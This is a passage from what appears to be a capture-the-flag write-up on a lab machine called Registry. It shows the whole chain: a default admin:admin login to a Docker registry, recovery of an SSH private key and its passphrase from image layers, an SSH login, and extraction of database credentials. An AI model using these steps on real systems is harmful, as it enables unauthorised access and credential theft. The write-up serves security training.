class=\"m\">8<\/span>\/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8\/wn9z3DPYAQ9zAPBgNV\nHRMBAf8EBTADAQH\/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3\nLAoh4Dm2X5qYe\/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ\nUmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N\n7JVeEp9vdmuj7\/PMkctD62mxkMAwnLiJejtba2+9xFKMOe\/asRAjfQeLPsLNMdrr\nCUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9\nQMPjq1S5SqXJqzop4OnthgWlwggSe\/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B\n-----END<span class=\"w\"> <\/span>CERTIFICATE-----\nreadme.md0000775000004100000410000000020113472260460012667<span class=\"w\"> <\/span>0ustar<span class=\"w\">  <\/span>www-datawww-data#<span class=\"w\"> <\/span>Private<span class=\"w\"> <\/span>Docker<span class=\"w\"> <\/span>Registry\n<\/code><\/pre><\/div>\n\n<p>So we apparently have a CA certificate in our archive, along with a Markdown readme file. Interestingly, we can also see the user <code>www-data<\/code> here. This can be useful later if we need to reference a specific user. Note taken. At this point, we can also read up on the documentation around actually deploying a custom registry and what role certificate files play in it:<\/p>\n<ul>\n<li>https:\/\/docs.docker.com\/registry\/deploying\/<\/li>\n<li>https:\/\/docs.docker.com\/engine\/security\/certificates\/<\/li>\n<\/ul>\n<p>With our dirbuster instance running on the side, we discover another endpoint, which leads us to a login page under <code>\/bolt\/bolt\/login<\/code>. However, reading through the\n<a href=\"https:\/\/docs.bolt.cm\/3.7\/manual\/first-user\">Bolt documentation<\/a>, we learn that there are no default credentials. So we continue with the Docker registry. Let's try to log in! For that, we need to set up the registry's certificate on our testing machine:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># mkdir -p \/etc\/docker\/certs.d\/docker.registry.htb\/<\/span>\n<span class=\"c1\"># cp ca.crt \/etc\/docker\/certs.d\/docker.registry.htb\/<\/span>\n<span class=\"c1\"># docker login docker.registry.htb<\/span>\n<\/code><\/pre><\/div>\n\n<p>We get an authorization error, but the login itself seems to work. This means that the API we poked around at before is fully functional. Triggering the error manually against the API yields more information:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># http http:\/\/registry.htb\/v2\/_catalog &quot;Host: docker.registry.htb&quot;<\/span>\nHTTP\/1.1<span class=\"w\"> <\/span><span class=\"m\">401<\/span><span class=\"w\"> <\/span>Unauthorized\nConnection:<span class=\"w\"> <\/span>keep-alive\nContent-Length:<span class=\"w\"> <\/span><span class=\"m\">145<\/span>\nContent-Type:<span class=\"w\"> <\/span>application\/json<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nv\">charset<\/span><span class=\"o\">=<\/span>utf-8\nDate:<span class=\"w\"> <\/span>Sat,<span class=\"w\"> <\/span><span class=\"m\">18<\/span><span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">2020<\/span><span class=\"w\"> <\/span><span class=\"m\">22<\/span>:43:12<span class=\"w\"> <\/span>GMT\nDocker-Distribution-Api-Version:<span class=\"w\"> <\/span>registry\/2.0\nServer:<span class=\"w\"> <\/span>nginx\/1.14.0<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Ubuntu<span class=\"o\">)<\/span>\nWww-Authenticate:<span class=\"w\"> <\/span>Basic<span class=\"w\"> <\/span><span class=\"nv\">realm<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;Registry&quot;<\/span>\nX-Content-Type-Options:<span class=\"w\"> <\/span>nosniff\n\n<span class=\"o\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"s2\">&quot;errors&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"o\">[<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">{<\/span>\n<span class=\"w\">            <\/span><span class=\"s2\">&quot;code&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;UNAUTHORIZED&quot;<\/span>,\n<span class=\"w\">            <\/span><span class=\"s2\">&quot;detail&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"o\">[<\/span>\n<span class=\"w\">                <\/span><span class=\"o\">{<\/span>\n<span class=\"w\">                    <\/span><span class=\"s2\">&quot;Action&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;*&quot;<\/span>,\n<span class=\"w\">                    <\/span><span class=\"s2\">&quot;Class&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;&quot;<\/span>,\n<span class=\"w\">                    <\/span><span class=\"s2\">&quot;Name&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;catalog&quot;<\/span>,\n<span class=\"w\">                    <\/span><span class=\"s2\">&quot;Type&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;registry&quot;<\/span>\n<span class=\"w\">                <\/span><span class=\"o\">}<\/span>\n<span class=\"w\">            <\/span><span class=\"o\">]<\/span>,\n<span class=\"w\">            <\/span><span class=\"s2\">&quot;message&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;authentication required&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">]<\/span>\n<span class=\"o\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Manually trying some dumb credentials with <code>docker login<\/code> while trying to come up with new ideas, we surprisingly hit a match. The login is <code>admin:admin<\/code>. Truly timeless. Now, performing the previous request against the API, we can attach basic auth credentials to the request and get a proper response:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># http --auth admin:admin http:\/\/docker.registry.htb\/v2\/_catalog<\/span>\nHTTP\/1.1<span class=\"w\"> <\/span><span class=\"m\">200<\/span><span class=\"w\"> <\/span>OK\nConnection:<span class=\"w\"> <\/span>keep-alive\nContent-Length:<span class=\"w\"> <\/span><span class=\"m\">32<\/span>\nContent-Type:<span class=\"w\"> <\/span>application\/json<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nv\">charset<\/span><span class=\"o\">=<\/span>utf-8\nDate:<span class=\"w\"> <\/span>Sun,<span class=\"w\"> <\/span><span class=\"m\">19<\/span><span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">2020<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:00:36<span class=\"w\"> <\/span>GMT\nDocker-Distribution-Api-Version:<span class=\"w\"> <\/span>registry\/2.0\nServer:<span class=\"w\"> <\/span>nginx\/1.14.0<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Ubuntu<span class=\"o\">)<\/span>\nStrict-Transport-Security:<span class=\"w\"> <\/span>max-age<span class=\"o\">=<\/span><span class=\"m\">63072000<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>includeSubdomains\nX-Content-Type-Options:<span class=\"w\"> <\/span>nosniff\nX-Content-Type-Options:<span class=\"w\"> <\/span>nosniff\nX-Frame-Options:<span class=\"w\"> <\/span>DENY\n\n<span class=\"o\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"s2\">&quot;repositories&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"o\">[<\/span>\n<span class=\"w\">        <\/span><span class=\"s2\">&quot;bolt-image&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">]<\/span>\n<span class=\"o\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>This is great because now we can pull the image through docker and inspect it locally:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># docker pull docker.registry.htb\/bolt-image<\/span>\n<span class=\"c1\"># docker inspect docker.registry.htb\/bolt-image<\/span>\n\n<span class=\"s2\">&quot;GraphDriver&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"o\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"s2\">&quot;Data&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"o\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"s2\">&quot;LowerDir&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/var\/lib\/docker\/overlay2\/55b71b9e7ecad8bd9db33fb7136a5ebd230335a27f575e23a7a8789e4adf5f12\/diff:\/var\/lib\/docker\/overlay2\/23723c0a05e160fbd2d8ef46af0c32a9fa4d7c6db89e64c468efb5ab1e39b42b\/diff:\/var\/lib\/docker\/overlay2\/fd8673b7f16712f9abbac08e89e9bc3bb5dfe7103bf36f2b6caa09e9cb2bbc94\/diff:\/var\/lib\/docker\/overlay2\/9d7d1689a187e1a2e49ab253a9118d5d654f76a617fe73413f6a547c1e546e6c\/diff:\/var\/lib\/docker\/overlay2\/3a8a9e217a3b3522d6f1af817387040c429867baa49a959f43aad1d588182eae\/diff:\/var\/lib\/docker\/overlay2\/247dfb195104bc1eff828a70e1bf0c59efd3af9bf2375c929c2283b043266fcd\/diff:\/var\/lib\/docker\/overlay2\/e28a6ab76f197d83f180fe8ec1ecced8f8da2bbe5bf8115d07c76fad8e610573\/diff:\/var\/lib\/docker\/overlay2\/3f3ae81a5ede643af44988d3c12367fe1d3a1eae42c9cef8c1d1dd1cf2285860\/diff&quot;<\/span>,\n<span class=\"w\">        <\/span><span class=\"s2\">&quot;MergedDir&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/var\/lib\/docker\/overlay2\/1feaa4c2afdf0a0ef9b0ca0f445e3b71476860ff00192ad68a2d371ecbefff5f\/merged&quot;<\/span>,\n<span class=\"w\">        <\/span><span class=\"s2\">&quot;UpperDir&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/var\/lib\/docker\/overlay2\/1feaa4c2afdf0a0ef9b0ca0f445e3b71476860ff00192ad68a2d371ecbefff5f\/diff&quot;<\/span>,\n<span class=\"w\">        <\/span><span class=\"s2\">&quot;WorkDir&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/var\/lib\/docker\/overlay2\/1feaa4c2afdf0a0ef9b0ca0f445e3b71476860ff00192ad68a2d371ecbefff5f\/work&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">}<\/span>,\n<span class=\"w\">    <\/span><span class=\"s2\">&quot;Name&quot;<\/span>:<span class=\"w\"> <\/span><span class=\"s2\">&quot;overlay2&quot;<\/span>\n<span class=\"o\">}<\/span>,\n<\/code><\/pre><\/div>\n\n<p>This underlines a common misconception around Docker images. The filesystem layers when building a Dockerfile are contained in representative directories on the host OS. A Docker image is nothing more than a compressed archive of the FS overlay containing all file changes. Practically, the <code>MergedDir<\/code>, as shown above, includes the merged state of all filesystem layers - this is what most developers see. However, with all layers at our disposal when pulling the image, we can inspect lower-level layers and find changes that are effectively hidden in the merged directory but still present. This can lead developers into thinking that their images do not leak confidential information when, in reality, a low-level layer can still expose it. You just have to know where to look - and that's what we will do now by looking at the diff directory:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"o\">\/<\/span><span class=\"k\">var<\/span><span class=\"o\">\/<\/span><span class=\"n\">lib<\/span><span class=\"o\">\/<\/span><span class=\"n\">docker<\/span><span class=\"o\">\/<\/span><span class=\"n\">overlay2<\/span><span class=\"o\">\/<\/span><span class=\"mi\">1<\/span><span class=\"n\">feaa4c2afdf0a0ef9b0ca0f445e3b71476860ff00192ad68a2d371ecbefff5f<\/span><span class=\"o\">\/<\/span><span class=\"n\">diff<\/span>\n<\/code><\/pre><\/div>\n\n<p>In the third layer, we find a bash history file under <code>\/root<\/code>. Here is a little snippet that is particularly interesting:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>ls<span class=\"w\"> <\/span>-la\nvi<span class=\"w\"> <\/span>config\nedit<span class=\"w\"> <\/span>config\napt<span class=\"w\"> <\/span>install<span class=\"w\"> <\/span>vim\nvi<span class=\"w\"> <\/span>config\nssh-keygen<span class=\"w\"> <\/span>-t<span class=\"w\"> <\/span>rsa<span class=\"w\"> <\/span>-b<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>-C<span class=\"w\"> <\/span><span class=\"s2\">&quot;bolt@registry.htb&quot;<\/span>\nl\nls<span class=\"w\"> <\/span>-la\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>..\nls<span class=\"w\"> <\/span>-la\nssh-add<span class=\"w\"> <\/span>\/root\/.ssh\/id_rsa\n<span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"sb\">`<\/span>ssh-agent<span class=\"w\"> <\/span>-s<span class=\"sb\">`<\/span>\nssh-add<span class=\"w\"> <\/span>\/root\/.ssh\/id_rsa\nps<span class=\"w\"> <\/span>aux<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>ssh\n<\/code><\/pre><\/div>\n\n<p>Specifically, the SSH commands give us a foreshadowing. And indeed, a few directories further down, we manage to extract a private key:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat \/var\/lib\/docker\/overlay2\/9d7d1689a187e1a2e49ab253a9118d5d654f76a617fe73413f6a547c1e546e6c\/diff\/root\/.ssh\/id_rsa<\/span>\n-----BEGIN<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\nProc-Type:<span class=\"w\"> <\/span><span class=\"m\">4<\/span>,ENCRYPTED\nDEK-Info:<span class=\"w\"> <\/span>AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9\n\nKF9YHXRjDZ35Q9ybzkhcUNKF8DSZ+aNLYXPL3kgdqlUqwfpqpbVdHbMeDk7qbS7w\nKhUv4Gj22O1t3koy9z0J0LpVM8NLMgVZhTj1eAlJO72dKBNNv5D4qkIDANmZeAGv\n7RwWef8FwE3jTzCDynKJbf93Gpy\/hj\/SDAe77PD8J\/Yi01Ni6MKoxvKczL\/gktFL\n\/mURh0vdBrIfF4psnYiOcIDCkM2EhcVCGXN6BSUxBud+AXF0QP96\/8UN8A5+O115\np7eljdDr2Ie2LlF7dhHSSEMQG7lUqfEcTmsqSuj9lBwfN22OhFxByxPvkC6kbSyH\nXnUqf+utie21kkQzU1lchtec8Q4BJIMnRfv1kufHJjPFJMuWFRbYAYlL7ODcpIvt\nUgWJgsYyquf\/61kkaSmc8OrHc0XOkif9KE63tyWwLefOZgVgrx7WUNRNt8qpjHiT\nnfcjTEcOSauYmGtXoEI8LZ+oPBniwCB4Qx\/TMewia\/qU6cGfX9ilnlpXaWvbq39D\nF1KTFBvwkM9S1aRJaPYu1szLrGeqOGH66dL24f4z4Gh69AZ5BCYgyt3H2+FzZcRC\niSnwc7hdyjDI365ZF0on67uKVDfe8s+EgXjJWWYWT7rwxdWOCzhd10TYuSdZv3MB\nTdY\/nF7oLJYyO2snmedg2x11vIG3fVgvJa9lDfy5cA9teA3swlOSkeBqjRN+PocS\n<span class=\"m\">5<\/span>\/9RBV8c3HlP41I\/+oV5uUTInaxCZ\/eVBGVgVe5ACq2Q8HvW3HDvLEz36lTw+kGE\nSxbxZTx1CtLuyPz7oVxaCStn7Cl582MmXlp\/MBU0LqodV44xfhnjmDPUK6cbFBQc\nGUeTlxw+gRwby4ebLLGdTtuYiJQDlZ8itRMTGIHLyWJEGVnO4MsX0bAOnkBRllhA\nCqceFXlVE+K3OfGpo3ZYj3P3xBeDG38koE2CaxEKQazHc06aF5zlcxUNBusOxNK4\nch2x+BpuhB0DWavdonHj+ZU9nuCLUhdy3kjg0FxqgHKZo3k55ai+4hFUIT5fTNHA\niuMLFSAwONGOf+926QUQd1xoeb\/n8h5b0kFYYVD3Vkt4Fb+iBStVG6pCneN2lILq\nrSVi9oOIy+NRrBg09ZpMLXIQXLhHSk3I7vMhcPoWzBxPyMU29ffxouK0HhkARaSP\n3psqRVI5GPsnGuWLfyB2HNgQWNHYQoILdrPOpprxUubnRg7gExGpmPZALHPed8GP\npLuvFCgn+SCf+DBWjMuzP3XSoN9qBSYeX8OKg5r3V19bhz24i2q\/HMULWQ6PLzNb\nv0NkNzCg3AXNEKWaqF6wi7DjnHYgWMzmpzuLj7BOZvLwWJSLvONTBJDFa4fK5nUH\nUnYGl+WT+aYpMfp6vd6iMtet0bh9wif68DsWqaqTkPl58z80gxyhpC2CGyEVZm\/h\nP03LMb2YQUOzBBTL7hOLr1VuplapAx9lFp6hETExaM6SsCp\/StaJfl0mme8tw0ue\nQtwguqwQiHrmtbp2qsaOUB0LivMSzyJjp3hWHFUSYkcYicMnsaFW+fpt+ZeGGWFX\nbVpjhWwaBftgd+KNg9xl5RTNXs3hjJePHc5y06SfOpOBYqgdL42UlAcSEwoQ76VB\nYGk+dTQrDILawDDGnSiOGMrn4hzmtRAarLZWvGiOdppdIqsfpKYfUcsgENjTK95z\nzrey3tjXzObM5L1MkjYYIYVjXMMygJDaPLQZfZTchUNp8uWdnamIVrvqHGvWYES\/\nFGoeATGL9J5NVXlMA2fXRue84sR7q3ikLgxDtlh6w5TpO19pGBO9Cmg1+1jqRfof\neIb4IpAp01AVnMl\/D\/aZlHb7adV+snGydmT1S9oaN+3z\/3pHQu3Wd7NWsGMDmNdA\n+GB79xf0rkL0E6lRi7eSySuggposc4AHPAzWYx67IK2g2kxx9M4lCImUO3oftGKJ\nP\/ccClA4WKFMshADxxh\/eWJLCCSEGvaLoow+b1lcIheDYmOxQykBmg5AM3WpTpAN\nT+bI\/6RA+2aUm92bNG+P\/Ycsvvyh\/jFm5vwoxuKwINUrkACdQ3gRakBc1eH2x014\n6B\/Yw+ZGcyj738GHH2ikfyrngk1M+7IFGstOhUed7pZORnhvgpgwFporhNOtlvZ1\n\/e9jJqfo6W8MMDAe4SxCMDujGRFiABU3FzD5FjbqDzn08soaoylsNQd\/BF7iG1RB\nY7FEPw7yZRbYfiY8kfve7dgSKfOADj98fTe4ISDG9mP+upmR7p8ULGvt+DjbPVd3\nuN3LZHaX5ECawEt\/\/KvO0q87TP8b0pofBhTmJHUUnVW2ryKuF4IkUM3JKvAUTSg8\nK+4aT7xkNoQ84UEQvfZvUfgIpxcj6kZYnF+eakV4opmgJjVgmVQvEW4nf6ZMBRo8\nTTGugKvvTw\/wNKp4BkHgXxWjyTq+5gLyppKb9sKVHVzAEpew3V20Uc30CzOyVJZi\nBdtfi9goJBFb6P7yHapZ13W30b96ZQG4Gdf4ZeV6MPMizcTbiggZRBokZLCBMb5H\npgkPgTrGJlbm+sLu\/kt4jgex3T\/NWwXHVrny5kIuTbbv1fXfyfkPqU66eysstO2s\nOxciNk4W41o9YqHHYM9D\/uL6xMqO3K\/LTYUI+LcCK13pkjP7\/zH+bqiClfNt0D2B\nXg6OWYK7E\/DTqX+7zqNQp726sDAYKqQNpwgHldyDhOG3i8o66mLj3xODHQzBvwKR\nbJ7jrLPW+AmQwo\/V8ElNFPyP6oZBEdoNVn\/plMDAi0ZzBHJc7hJ0JuHnMggWFXBM\nPjxG\/w4c8XV\/Y2WavafEjT7hHuviSo6phoED5Zb3Iu+BU+qoEaNM\/LntDwBXNEVu\nZ0pIXd5Q2EloUZDXoeyMCqO\/NkcIFkx+\/\/BDddVTFmfw21v2Y8fZ2rivF\/8CeXXZ\not6kFb4G6gcxGpqSZKY7IHSp49I4kFsC7+tx7LU5\/wqC9vZfuds\/TM7Z+uECPOYI\nf41H5YN+V14S5rU97re2w49vrBxM67K+x930niGVHnqk7t\/T1jcErROrhMeT6go9\nRLI9xScv6aJan6xHS+nWgxpPA7YNo2rknk\/ZeUnWXSTLYyrC43dyPS4FvG8N0H1V\n94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr\n-----END<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\n<\/code><\/pre><\/div>\n\n<p>Even more conveniently, a utility script in the same layer leaks the key's passphrase:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat \/var\/lib\/docker\/overlay2\/9d7d1689a187e1a2e49ab253a9118d5d654f76a617fe73413f6a547c1e546e6c\/diff\/etc\/profile.d\/02-ssh.sh<\/span>\n<span class=\"c1\">#!\/usr\/bin\/expect -f<\/span>\n<span class=\"c1\">#eval `ssh-agent -s`<\/span>\nspawn<span class=\"w\"> <\/span>ssh-add<span class=\"w\"> <\/span>\/root\/.ssh\/id_rsa\nexpect<span class=\"w\"> <\/span><span class=\"s2\">&quot;Enter passphrase for \/root\/.ssh\/id_rsa:&quot;<\/span>\nsend<span class=\"w\"> <\/span><span class=\"s2\">&quot;GkOcz221Ftb3ugog\\n&quot;<\/span><span class=\"p\">;<\/span>\nexpect<span class=\"w\"> <\/span><span class=\"s2\">&quot;Identity added: \/root\/.ssh\/id_rsa (\/root\/.ssh\/id_rsa)&quot;<\/span>\ninteract\n<\/code><\/pre><\/div>\n\n<p>So now, we can use the passphrase to decrypt the key. Surprisingly, the same credentials have been used for the <code>bolt<\/code> user on the host machine! So we can now log in and get a proper shell with user-level privileges:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># ssh -i registry-root.key bolt@registry.htb<\/span>\nEnter<span class=\"w\"> <\/span>passphrase<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"s1\">&#39;registry-root.key&#39;<\/span>:\nWelcome<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>Ubuntu<span class=\"w\"> <\/span><span class=\"m\">18<\/span>.04.3<span class=\"w\"> <\/span>LTS<span class=\"w\"> <\/span><span class=\"o\">(<\/span>GNU\/Linux<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.15.0-65-generic<span class=\"w\"> <\/span>x86_64<span class=\"o\">)<\/span>\n\n<span class=\"w\">  <\/span>System<span class=\"w\"> <\/span>information<span class=\"w\"> <\/span>as<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>Sun<span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">19<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:58:44<span class=\"w\"> <\/span>UTC<span class=\"w\"> <\/span><span class=\"m\">2020<\/span>\n\n<span class=\"w\">  <\/span>System<span class=\"w\"> <\/span>load:<span class=\"w\">  <\/span><span class=\"m\">0<\/span>.13<span class=\"w\">              <\/span>Users<span class=\"w\"> <\/span>logged<span class=\"w\"> <\/span><span class=\"k\">in<\/span>:<span class=\"w\">                <\/span><span class=\"m\">0<\/span>\n<span class=\"w\">  <\/span>Usage<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>\/:<span class=\"w\">   <\/span><span class=\"m\">5<\/span>.6%<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span><span class=\"m\">61<\/span>.80GB<span class=\"w\">   <\/span>IP<span class=\"w\"> <\/span>address<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>eth0:<span class=\"w\">            <\/span><span class=\"m\">10<\/span>.10.10.159\n<span class=\"w\">  <\/span>Memory<span class=\"w\"> <\/span>usage:<span class=\"w\"> <\/span><span class=\"m\">24<\/span>%<span class=\"w\">               <\/span>IP<span class=\"w\"> <\/span>address<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>br-1bad9bd75d17:<span class=\"w\"> <\/span><span class=\"m\">172<\/span>.18.0.1\n<span class=\"w\">  <\/span>Swap<span class=\"w\"> <\/span>usage:<span class=\"w\">   <\/span><span class=\"m\">0<\/span>%<span class=\"w\">                <\/span>IP<span class=\"w\"> <\/span>address<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>docker0:<span class=\"w\">         <\/span><span class=\"m\">172<\/span>.17.0.1\n<span class=\"w\">  <\/span>Processes:<span class=\"w\">    <\/span><span class=\"m\">153<\/span>\nLast<span class=\"w\"> <\/span>login:<span class=\"w\"> <\/span>Mon<span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">21<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>:31:48<span class=\"w\"> <\/span><span class=\"m\">2019<\/span><span class=\"w\"> <\/span>from<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.14.2\nbolt@bolt:~$\n<\/code><\/pre><\/div>\n\n<p>This already gives us access to the user flag. A thing we notice right away is the presence of a simple PHP backup script using <a href=\"https:\/\/restic.net\/\">restic<\/a>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>bolt@bolt:\/var\/www\/html$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>backup.php\n&lt;?php<span class=\"w\"> <\/span>shell_exec<span class=\"o\">(<\/span><span class=\"s2\">&quot;sudo restic backup -r rest:http:\/\/backup.registry.htb\/bolt bolt&quot;<\/span><span class=\"o\">)<\/span><span class=\"p\">;<\/span>\n<\/code><\/pre><\/div>\n\n<p>The script's privileges are restricted to the <code>www-data<\/code> user, however, so we move on. Browsing further through the filesystem, we find an interesting Boltconfiguration file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>bolt@bolt:\/var\/www\/html$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>bolt\/app\/config\/config.yml\n<span class=\"c1\"># Database setup. The driver can be either &#39;sqlite&#39;, &#39;mysql&#39; or &#39;postgres&#39;.<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># For SQLite, only the databasename is required. However, MySQL and PostgreSQL<\/span>\n<span class=\"c1\"># also require &#39;username&#39;, &#39;password&#39;, and optionally &#39;host&#39; ( and &#39;port&#39; ) if the database<\/span>\n<span class=\"c1\"># server is not on the same host as the web server.<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># If you&#39;re trying out Bolt, just keep it set to SQLite for now.<\/span>\ndatabase:\n<span class=\"w\">    <\/span>driver:<span class=\"w\"> <\/span>sqlite\n<span class=\"w\">    <\/span>databasename:<span class=\"w\"> <\/span>bolt\n<\/code><\/pre><\/div>\n\n<p>Sadly, the target system has no SQLite shell available. But Python has SQLite drivers shipped with its standard library! Opening up a Python shell, we can work some quick magic to extract the Bolt login credentials:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">bolt<\/span><span class=\"nd\">@bolt<\/span><span class=\"p\">:<\/span><span class=\"o\">\/<\/span><span class=\"n\">var<\/span><span class=\"o\">\/<\/span><span class=\"n\">www<\/span><span class=\"o\">\/<\/span><span class=\"n\">html<\/span><span class=\"o\">\/<\/span><span class=\"n\">bolt<\/span><span class=\"o\">\/<\/span><span class=\"n\">app<\/span><span class=\"o\">\/<\/span><span class=\"n\">database<\/span><span class=\"err\">$<\/span> <span class=\"n\">python3<\/span>\n<span class=\"n\">Python<\/span> <span class=\"mf\">3.6.8<\/span> <span class=\"p\">(<\/span><span class=\"n\">default<\/span><span class=\"p\">,<\/span> <span class=\"n\">Oct<\/span>  <span class=\"mi\">7<\/span> <span class=\"mi\">2019<\/span><span class=\"p\">,<\/span> <span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">59<\/span><span class=\"p\">:<\/span><span class=\"mi\">55<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">[<\/span><span class=\"n\">GCC<\/span> <span class=\"mf\">8.3.0<\/span><span class=\"p\">]<\/span> <span class=\"n\">on<\/span> <span class=\"n\">linux<\/span>\n<span class=\"n\">Type<\/span> <span class=\"s2\">&quot;help&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;copyright&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;credits&quot;<\/span> <span class=\"ow\">or<\/span> <span class=\"s2\">&quot;license&quot;<\/span> <span class=\"k\">for<\/span> <span class=\"n\">more<\/span> <span class=\"n\">information<\/span><span class=\"o\">.<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"kn\">import<\/span> <span class=\"nn\">sqlite3<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">conn<\/span> <span class=\"o\">=<\/span> <span class=\"n\">sqlite3<\/span><span class=\"o\">.<\/span><span class=\"n\">connect<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;bolt.db&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">cur<\/span> <span class=\"o\">=<\/span> <span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">cursor<\/span><span class=\"p\">()<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"n\">cur<\/span><span class=\"o\">.<\/span><span class=\"n\">execute<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;SELECT name FROM sqlite_master WHERE type=&#39;table&#39;;&quot;<\/span><span class=\"p\">))<\/span>\n<span class=\"p\">[(<\/span><span class=\"s1\">&#39;bolt_authtoken&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;sqlite_sequence&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_cron&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_field_value&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_log_change&#39;<\/span><span class=\"p\">,),<\/span> <span 